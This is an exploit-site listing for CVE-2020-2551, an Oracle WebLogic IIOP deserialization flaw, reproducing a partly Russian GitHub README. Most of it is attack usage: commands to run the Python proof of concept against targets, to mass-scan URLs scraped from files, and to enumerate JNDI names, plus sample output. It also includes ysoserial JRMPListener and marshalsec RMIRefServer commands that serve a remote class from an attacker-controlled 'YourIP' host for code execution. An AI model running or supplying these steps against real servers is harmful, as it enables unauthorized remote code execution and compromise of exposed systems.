Sploitus

CVE-Exploit

CVE-2020-2551

kitploit · 2026-08-25

Exploit Code

MARKDOWN125 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABBARHISSARH-CVE-EXPLOIT
Twitter: @0xAbbarhSF ![Tweet](https://img.shields.io/twitter/url/http/0xAbbarhSF.svg?style=social)

# 1、CVE-2020-2551

CVE-2020-2551 poc эксплойт пример на Python ключи: GIOP corba ![изображение](https://assets.kitploit.com/production/public/readmes/22068/8aa341bf0d8e4b0dcf9575196075eb5aae7e09418c3837ab8a6ff80cbe26c0aa.png)

### Как использовать

root@kitploit:~
    
    
    python3 CVE-2020-2551.py -u http://192.168.26.79:7001
    cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
    cat xxx.html|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
    # 32 Thread check
    cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e
    # now result to data/*.txt
    java -cp hktalent_51pwn_com_12.1.3.0_check.jar testiiop.ExpCVE20202551_names ip:port ip:port
    java -cp hktalent_51pwn_com_12.2.1.3.0_check.jar testiiop.ExpCVE20202551_names ip:port ip:port
    

### t3, t3s, http, https, iiop, iiops

root@kitploit:~
    
    
    service:jmx:rmi://ip:port/jndi/iiop://ip:port/MBean-server-JNDI-name
    service:jmx:iiop://ip:port/jndi/weblogic.management.mbeanservers.domainruntime
    service:jmx:t3://ip:port/jndi/weblogic.management.mbeanservers.domainruntime
    

## poc

![изображение](https://assets.kitploit.com/production/public/readmes/22068/db82ea41c43db08622c60d755b2b085f6b43c8ccb6dce34c960ae35658c401a4.png)

# 2、Знай, что ты делаешь

root@kitploit:~
    
    
    {
        "ejb": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "interfaces": [
                "javax.naming.Context"
            ],
            "mgmt": {
                "MEJB": {
                    "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
                    "interfaces": []
                },
                "class": "com.sun.jndi.cosnaming.CNCtx",
                "interfaces": [
                    "javax.naming.Context"
                ]
            }
        },
        "javax": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "error msg": "org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
            "interfaces": [
                "javax.naming.Context"
            ]
        },
        "jdbc": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "db_xf": {
                "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
                "interfaces": []
            },
            "interfaces": [
                "javax.naming.Context"
            ]
        },
        "mejbmejb_jarMejb_EO": {
            "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
            "interfaces": []
        },
        "weblogic": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "error msg": "org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
            "interfaces": [
                "javax.naming.Context"
            ]
        }
    }
    

# 3、ejb

root@kitploit:~
    
    
    /bea_wls_internal/classes/mejb@/
    
    weblogic.management.j2ee.mejb.Mejb_dj*#remove(Object obj)
    

# 4、jta

root@kitploit:~
    
    
    x.lookup("ejb/mgmt/MEJB").remove(jta);
    

# 5、логи

  * исправление rmi с использованием payload Jdk7u21, не работает для удаленного jdk8 не используйте



root@kitploit:~
    
    
    java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami'
    

используйте, XXclass.class из сборки jdk6

root@kitploit:~
    
    
    java -cp $mtx/../tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://YourIP:port/#XXclass' 1099